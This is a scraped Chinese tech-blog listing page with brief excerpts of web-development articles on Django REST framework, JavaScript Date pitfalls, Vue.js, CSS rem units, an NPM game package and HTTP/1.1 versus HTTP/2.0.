    在前面的Blog例子中我們使用的是GraphQL, 雖然GraphQL的使用處于上升趨勢,但是Rest API還是使用的更廣泛一些. 所以還是決定回到傳統的rest api framework上來, Django rest framework的官網上給了一個很好用的QuickStart, 我參考Qu ......

    uj5u.com 2023-04-20 08:17:54 more
  • 記錄-new Date() 我忍你很久了!

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 大家平時在開發的時候有沒被new Date()折磨過?就是它的諸多怪異的設定讓你每每用的時候,都可能不小心踩坑。造成程式意外出錯,卻一下子找不到問題出處,那叫一個煩透了…… 下面,我就列舉它的“四宗罪”及應用思考 可惡的四宗罪 1. Sa ......

    uj5u.com 2023-04-20 08:17:47 more
  • 使用Vue.js實作文字跑馬燈效果

    實作文字跑馬燈效果,首先用到 substring()截取 和 setInterval計時器 clearInterval()清除計時器 效果如下: 實作代碼如下: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta ......

    uj5u.com 2023-04-20 08:12:31 more
  • JavaScript 運算子

    JavaScript 運算子/運算子 在 JavaScript 中,有一些運算子可以使代碼更簡潔、易讀和高效。以下是一些常見的運算子: 1、可選鏈運算子(optional chaining operator) ?.是可選鏈運算子(optional chaining operator)。?. 可選鏈操 ......

    uj5u.com 2023-04-20 08:02:25 more
  • CSS—相對單位rem

    一、概述 rem是一個相對長度單位,它的單位長度取決于根標簽html的字體尺寸。rem即root em的意思,中文翻譯為根em。瀏覽器的文本尺寸一般默認為16px,即默認情況下: 1rem = 16px rem布局原理:根據CSS媒體查詢功能,更改根標簽的字體尺寸,實作rem單位隨螢屏尺寸的變化,如 ......

    uj5u.com 2023-04-20 08:02:21 more
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 08:01:50 more
  • 如何在 vue3 中使用 jsx/tsx?

    我們都知道,通常情況下我們使用 vue 大多都是用的 SFC(Signle File Component)單檔案組件模式,即一個組件就是一個檔案,但其實 Vue 也是支持使用 JSX 來撰寫組件的。這里不討論 SFC 和 JSX 的好壞,這個仁者見仁智者見智。本篇文章旨在帶領大家快速了解和使用 Vu ......

    uj5u.com 2023-04-20 08:01:37 more
  • 【Vue2.x原始碼系列06】計算屬性computed原理

    本章目標:計算屬性是如何實作的?計算屬性快取原理以及洋蔥模型的應用?在初始化Vue實體時,我們會給每個計算屬性都創建一個對應watcher,我們稱之為計算屬性watcher ......

    uj5u.com 2023-04-20 08:01:31 more
  • http1.1與http2.0

    一、http是什么 通俗來講,http就是計算機通過網路進行通信的規則,是一個基于請求與回應,無狀態的,應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行,否則無法連接。tcp(三次握手,四次揮手)。 請求與回應:客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:01:10 more
  • http1.1與http2.0

    一、http是什么 通俗來講,http就是計算機通過網路進行通信的規則,是一個基于請求與回應,無狀態的,應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行,否則無法連接。tcp(三次握手,四次揮手)。 請求與回應:客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:00:32 more